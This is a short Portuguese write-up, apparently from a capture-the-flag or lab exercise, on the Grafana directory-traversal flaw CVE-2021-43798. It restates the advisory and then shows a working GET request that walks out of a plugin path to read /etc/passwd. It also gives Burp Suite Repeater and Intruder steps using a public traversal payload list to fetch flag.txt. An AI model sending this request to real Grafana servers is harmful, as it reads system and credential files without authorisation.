CVE-2021-43798

As versões do Grafana 8.0.0-beta1 até 8.3.0 (exceto as versões corrigidas) são vulneráveis à travessia de diretório, permitindo acesso a arquivos locais.

Grafana é uma plataforma de código aberto para monitoramento e observabilidade. As versões do Grafana 8.0.0-beta1 até 8.3.0 (exceto as versões corrigidas) são vulneráveis à travessia de diretório, permitindo acesso a arquivos locais. O caminho de URL vulnerável é: <grafana_host_url>/public/plugins//, onde é o ID do plugin para qualquer plugin instalado. Em momento algum o Grafana Cloud esteve vulnerável. Os usuários são aconselhados a atualizar para as versões corrigidas 8.0.7, 8.1.8, 8.2.7 ou 8.3.1. O GitHub Security Advisory contém mais informações sobre caminhos de URL vulneráveis, mitigações e o cronograma de divulgação.

Usando o Burp Suite

Envie o GET para o repeater

GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1

Depois envie para o Intruder GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1

Usando Sniper para ATACAR Copie o payload do github https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal

Processamento do payload Corresponda [{FILE]} e substitua por {flag.txt}